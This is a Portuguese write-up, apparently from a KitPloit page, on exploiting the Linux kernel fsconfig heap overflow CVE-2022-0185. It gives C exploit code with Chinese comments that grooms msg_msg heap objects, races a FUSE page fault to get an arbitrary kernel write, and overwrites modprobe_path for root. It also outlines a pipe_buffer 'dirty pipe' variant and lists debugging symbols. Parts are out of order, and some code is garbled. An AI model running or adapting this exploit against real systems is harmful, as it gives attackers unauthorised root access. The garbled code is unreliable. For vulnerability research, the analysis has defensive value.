A mudança da memória heap do passo 2 ao passo 6 é mostrada na figura, a seta vermelha indica a posição para onde o ponteiro legacy_data + size em fsconfig apontará:

image-20220304093434300

Escrita em endereço arbitrário para concluir a elevação de privilégio

Esta parte é relativamente simples, mencionado acima, fazer com que copy_from_user em msgsnd acione uma falha de página, direcionando para o manipulador de falhas registrado no nosso sistema de arquivos de usuário fuse, durante o qual usar fsconfig para estourar e sobrescrever o segundo segmento da mensagem.```c void do_win() { int size = 0x1000; char buffer[0x2000] = {0}; char pat[0x1000] = {0}; msg* message = (msg*)buffer; memset(buffer, 0x44, sizeof(buffer)); //[1]在0x1337000 mmap 一页 void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); uint64_t race_page = 0x1338000; msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾 rooter->mtype = 1; size = 0x1010;

root@kitploit:~
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0); 
//[2]设定消息长度为0xfe的消息,会分成两段

puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0) 
{
        puts("Opening");
        exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}

puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
    perror("evil fd failed");
    exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
    perror("mmap fail fuse 1");
    exit(-1);
}

pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
    perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);

}

void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }

int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));

root@kitploit:~
size_t len = 0x1000;

···

memcpy(buf, evil_buffer + offset, size); 

// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写

return size;

}

root@kitploit:~
1. 在0x1337000 `mmap` uma página (página 1)

2. Definir o comprimento da mensagem como 0x1010-0x30=0xfe0, de modo que a mensagem precise ser dividida em dois segmentos

3. `fsconfig` prepara o preenchimento antes do estouro, alocando um `kmalloc-4k`

4. Usar o sistema de arquivos fuse registrado anteriormente para `mmap` uma página (página 2) em 0x1338000

5. Enviar a mensagem, comprimento 0xfe0, alocando um `kmalloc-4k` e um `kmalloc-32`. A mensagem começa no final da página 1. Neste momento, dentro de `msgsnd`, a função `copy_from_user` copia a mensagem do espaço do usuário para o espaço do kernel. Quando a cópia atinge a página 2, um page fault é acionado, chamando a função `evil_read` do sistema de arquivos fuse no espaço do usuário. Esta função é especificada por nós e fornece o conteúdo que queremos escrever ao kernel. Além disso, esta função aguarda a conclusão do processo abaixo antes de retornar.

6. Neste momento, inicia-se um novo processo. O novo processo conclui a operação de estouro, sobrescrevendo o ponteiro `msg_msgseg * next` no cabeçalho da mensagem `msg_msg` subsequente, fazendo com que o ponteiro que aponta para o segundo segmento da mensagem aponte para `modprobe_path`. Em seguida, envia um sinal de conclusão para a função `evil_read`.

7. `evil_read` retorna, completando a escrita em endereço arbitrário. `modprobe_path` é modificado para `"/tmp/w"`

   ![image-20220304120016782](https://assets.kitploit.com/production/public/readmes/23851/82f415b1c760afd5364ee0bf049e9e8f73faae7ba4a30eac735b5f4f03019fa4.png)

Diagrama:

![image-20220304120052081](https://assets.kitploit.com/production/public/readmes/23851/fd4ef7b7e641a222dd6ec8a97133b2aa86de37ac0a09c2d560f694d7774826fa.png)

Já que `modprobe_path` foi modificado, consideramos a elevação de privilégios bem-sucedida. A operação de elevação de privilégios subsequente do exploit é realizada adicionando permissão suid ao `/bin/bash`. No entanto, isso não é mais importante.

![image-20220304120219927](https://assets.kitploit.com/production/public/readmes/23851/8feed8f8d70c44f9182a703e9d2904af9e7e2633453e6d121c871806637f7b7a.png)

### [Novo] Análise do exploit (versão universal de dirty pipe artificial)

De: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)

A ideia principal vem do CVE-2022-0847 (dirty pipe). Após a exposição, descobriu-se que o pipe e o splice têm o seguinte mecanismo:

1. Um pipe é composto por 16 páginas de cache. Cada vez que dados são escritos no pipe, verifica-se em qual página a escrita está. Se a página não foi totalmente escrita, tenta-se continuar escrevendo nela. No entanto, nem todas as páginas podem ser continuadas, como no caso abaixo.

2. O splice permite transferir arquivos para o pipe, substituindo a página de cache do pipe pela página de cache do arquivo. Essa página de cache substituída não permite que o pipe continue escrevendo.

3. A partir da versão 5.8, a permissão de continuação da página é determinada por pipe_buffer->flags. Antes da versão 5.8, era verificado se pipe_buffer->ops era anon_pipe_buf_ops.

Então, a causa do bug dirty pipe é que pipe_buffer->flags não é inicializado, permitindo que páginas de cache de arquivos transferidas por splice possam ser sobrescritas. Embora tenha sido corrigido, consideramos: se pudermos falsificar as flags, podemos criar um "dirty pipe artificial"? A resposta é sim. Deve-se notar que o dirty pipe é uma vulnerabilidade que não depende de vazamento de endereço para exploração, e pipe_buffer é uma estrutura vítima comum na exploração de vulnerabilidades do kernel. Modificar suas flags ou ops é muito fácil. A seguir, apresentamos a ideia de criar um exploit universal usando dirty pipe artificial:

Primeiro, pulverize várias filas de mensagens, cada fila contendo um msg_msg de 0x1400. Dessa forma, a mensagem será dividida em dois segmentos: um de 0x1000 e outro de 0x4000. Em seguida, use a escrita fora dos limites para modificar o campo m_ts do segmento principal da mensagem para 0x1800:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

Dessa forma, é possível determinar qual fila teve seu msg_msg corrompido encontrando um msgid que consiga ler com sucesso um comprimento de 0x1800. Também é necessário usar a leitura fora dos limites para confirmar que o que vem a seguir é o segmento 2 (sec2) de outra mensagem. Em seguida, libere todas as outras filas de mensagens:

![image-20220524162832450](https://assets.kitploit.com/production/public/readmes/23851/815b76bfabcd1451b26e7276fffd367c213a1f55c1ee47718e9d5a1f7bab2a04.png)

Em seguida, pulverize várias filas de mensagens, cada uma contendo 16 (ou alguns) msg_msg de 0x400. Idealmente, uma dessas mensagens de uma fila ocupará o slab 0x400 liberado indicado pela linha tracejada na figura acima, formando o seguinte layout. O 5º msg da fila X é alocado nesse slab:

![image-20220524164354436](https://assets.kitploit.com/production/public/readmes/23851/00a52c4c473964335ca823f880581a8b46dddbf734c232f6460cb002a15009ac.png)

Em seguida, através da leitura fora dos limites do msg1, obtenha o valor prev do msg5, que é o endereço do msg4. Com base no conteúdo que organizamos no msg, é possível determinar o número da fila X e o índice 5 na fila.

Em seguida, libere o msg6 e todos os msg após msg6. Depois, adicione uma nova mensagem na fila X. A nova mensagem ainda será anexada após o msg5, ou seja, novo msg6 (newmsg6). Dentro do newmsg6, coloque um cabeçalho falso (fake head) em uma posição onde o final do endereço não seja 0x00. O cabeçalho falso aponta para msg4, formando o seguinte:

![image-20220524164937406](https://assets.kitploit.com/production/public/readmes/23851/896247923a72798b59b91bc90cde45d44c6cd5e5c0001e654e83533260e619d8.png)

Em seguida, faça outra leitura fora dos limites e registre o endereço do fake head dentro de newmsg6, que é o valor de msg5->next obtido pela leitura fora dos limites mais o deslocamento que colocamos:

![image-20220524165719754](https://assets.kitploit.com/production/public/readmes/23851/c9b397893438a567dcb586b9c524ab9bffb2a7df6cdc3b26d55424ba68d81581.png)

Então, repita o processo novamente: faça outra escrita fora dos limites, desta vez sobrescrevendo o ponteiro next no cabeçalho do msg para apontar para o fakeHead em newmsg6, cujo endereço acabamos de obter:

![image-20220524171400377](https://assets.kitploit.com/production/public/readmes/23851/932e25844488038a248cc42c13bf35e60a8e85d539283cc6ad95395b734415cd.png)

Diretamente através da fila msgX, libere msg4. Em seguida, pulverize sk_buff para ocupar o msg4 liberado e forje next e prev apontando para si mesmo (já conhecendo o endereço anteriormente), para contornar o unlink do msg na segunda liberação subsequente:

![image-20220524171449841](https://assets.kitploit.com/production/public/readmes/23851/a67430472b9b0476f86a210d671450fc3bd81529971dd8b3eea38c6705dc134e.png)

Em seguida, use a fila newmsg1 para liberar msg4 novamente, e então ocupe-o novamente com pipe_buffer, fazendo com que sk_buff e pipe_buffer ocupem a mesma região, formando a seguinte situação:

![image-20220524172342828](https://assets.kitploit.com/production/public/readmes/23851/3eff50c82acceb7a6daa079fe183611a131cd4212da941eaef09551380c5bbbc.png)

As operações seguintes podem ser consultadas diretamente na segunda metade da "[Equação da Vitória](https://blog.csdn.net/Breeze_CAT/article/details/124887764)". exploit: https://github.com/veritas501/CVE-2022-0185-PipeVersion

![image-20220524180848317](https://assets.kitploit.com/production/public/readmes/23851/be1db757bd7c73f8f8d56e8ec7c0399e92c69b5a27fe7b945ae634a54ee7c707.png)

## Dicas de Depuração

Símbolos relacionados:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv

ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path

Ponto de interrupção condicional``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig

root@kitploit:~
## Referências

github: [Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)

writeup: https://www.willsroot.io/2022/01/cve-2022-0185.html

veritas501: [CVE-2022-0185 Análise e Exploração e Reflexões e Práticas sobre a Nova Primitiva do Pipe](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)
Baixar ferramenta
  • Preencher mais 21 caracteres, mais ",=" total 23 caracteres, aqui ocorre o estouro, como antes foi preenchido até 4095, na verdade estoura 22 caracteres, ou seja 0x16, mas normalmente o estouro ocorre em memória que ainda não foi usada (alocada).

    image-20220304094225004

  • Continuar msgsnd, alocar a estrutura msg_msg (será dividida em dois segmentos), como o primeiro segmento msg tem comprimento kmalloc-4k, é provável que aloque depois de legacy_data, sobrescrevendo a parte que acabou de estourar, mas não importa.

    image-20220304094808536

  • Continuar chamando fsconfig para estourar, essa é a razão de fazer o estouro em duas vezes, o objetivo do estouro de 22 caracteres é apenas mover o ponteiro para antes do campo m_ts (que representa o tamanho de msg) no cabeçalho msg_msg. Nesse momento, ao estourar novamente, como serão adicionados os dois caracteres ",=" na frente, é possível sobrescrever o m_ts no cabeçalho msg_msg, modificando o tamanho de msg.

    image-20220304094928314

  • Espalhar uma série de estruturas seq_operations, como pertencem a kmalloc-32, é provável que caiam após o segundo segmento da mensagem

    image-20220304095339445

  • Neste momento, receber a mensagem, uma das mensagens teve seu tamanho adulterado pelo nosso estouro, então a leitura ultrapassará os limites, lendo as estruturas seq_operations subsequentes, completando o vazamento.